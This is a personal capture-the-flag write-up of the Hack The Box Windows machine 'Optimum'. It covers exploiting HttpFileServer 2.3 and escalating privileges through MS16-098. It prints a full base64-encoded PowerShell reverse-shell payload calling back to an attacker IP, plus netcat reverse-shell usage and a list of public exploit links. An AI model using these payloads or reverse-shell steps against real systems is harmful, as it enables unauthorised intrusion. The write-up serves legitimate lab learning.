Optimum Write-Up
Contents
Intro
Optimum is a quick and straight forward Windows easy box with a mildly fiddly privilege escelation. I think back when this box was originally released this wasen't an issue however there are now so many vulnerabilities with public exploits that finding the one you need can feel a little like a needle in a haystack however once you find it, you're off to the races! I would say this is a perfect box for Windows beginners!
User
We can start with an Nmap:
[felixm@blackbear ~]$ nmap -sV -sC 10.10.10.8 PORT STATE SERVICE VERSION 80/tcp open http HttpFileServer httpd 2.3 |_http-server-header: HFS 2.3 |_http-title: HFS / Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
It seems we only have a single service in the normal range of TCP ports. Normally here I would set off a full port scan with nmap -p- 10.10.10.8 however since this is an easy box I'm going to see what I can find on this web server. Navigating to this in the browser we can find the following:
This looks to be a very dated file manager. Clicking around I couldn't find anything too interesting so I decided to just search for exploits online since the version number and application name is clearly stated on the homepage under the "Server Information" section. I found an Exploitdb page that had a remote code execution PoC in Python3 so I grabbed that and changed the IP addresses to match mine and my targets and executed it:
[felixm@blackbear ~]$ python3 exploit.py Encoded the command in base64 format... Encoded the payload and sent a HTTP GET request to the target... Printing some information for debugging... lhost: 10.10.14.2 lport: 1111 rhost: 10.10.10.8 rport: 80 payload: exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAiACwAMQAxADEAMQApADsAIAAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgAFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAIAB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAMAAsACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACAAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAkAGkAKQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAgACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAIAAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAIAAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAIAAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA= Listening for connection... Connection from 10.10.10.8:49166 PS C:\Users\kostas\Desktop> whoami optimum\kostas
Root
First thing I'll run is systeminfo to see what kind of Windows box we're on:
PS C:\Users\kostas\Desktop> systeminfo
Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36 ??
System Boot Time: 19/11/2022, 11:04:25 ??
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.510 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.712 MB
Virtual Memory: In Use: 791 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \\OPTIMUM
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
Taking a closer look at the output we can that we're on a very old verion of Windows:
OS Name: Microsoft Windows Server 2012 R2 Standard OS Version: 6.3.9600 N/A Build 9600
Since this is a very old version of Windows I'm thinking this is likely going to be an exploit on Windows itself and not some installed software or anthing. I copy pasted the output of systeminfo into a text file and ran it though windows-exploit-suggester:
[felixm@blackbear Downloads]$ windows-exploit-suggester --database 2022-11-13-mssb.xls -i sys.txt [*] initiating winsploit version 3.3... [*] database file detected as xls or xlsx based on extension [*] attempting to read from the systeminfo input file [+] systeminfo input file read successfully (utf-8) [*] querying database file for potential vulnerabilities [*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits [*] there are now 246 remaining vulns [+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin [+] windows version identified as 'Windows 2012 R2 64-bit' [*] [E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important [*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135) [*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2) [*] https://github.com/tinysec/public/tree/master/CVE-2016-7255 [*] [E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important [*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) [*] [M] MS16-075: Security Update for Windows SMB Server (3164038) - Important [*] https://github.com/foxglovesec/RottenPotato [*] https://github.com/Kevin-Robertson/Tater [*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege [*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation [*] [E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important [*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC [*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC [*] [E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical [*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC [*] [E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important [*] https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF [*] https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC [*] https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC [*] https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#) [*] [M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important [*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF [*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC [*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
There were a couple of nice options here but I went for MS16-135's "NtSetWindowLongPtr Privilege Escalation" however I couldn't get this working and thus swapped to MS16-098 and used this exploit from Exploitdb. I downloaded the executable linked in Exploitdb and attempted to run it on the target machine however I would get no output and the reverse shell would die. After playing around I realized that I was attemting to execute this binary through a reverse Powershell instance and not a command prompt instance so I droppped the Windows Netcat binary and created a Netcat reverse shell using command prompt:
[felixm@blackbear netcat-1.11]$ nc -lvnp 4444 Connection from 10.10.10.8:49192 (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\kostas\Desktop>exploit.exe Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\kostas\Desktop>whoami nt authority\system
Notes
Impotant lessions were learnt on this box: If your exploits are failing silently do make sure to try both Powershell and Cmd as you may find that Powershell reverse shells don't always execute payloads properly and won't give you any useful error output! Just another valuable item to put on my troubleshooting checklist.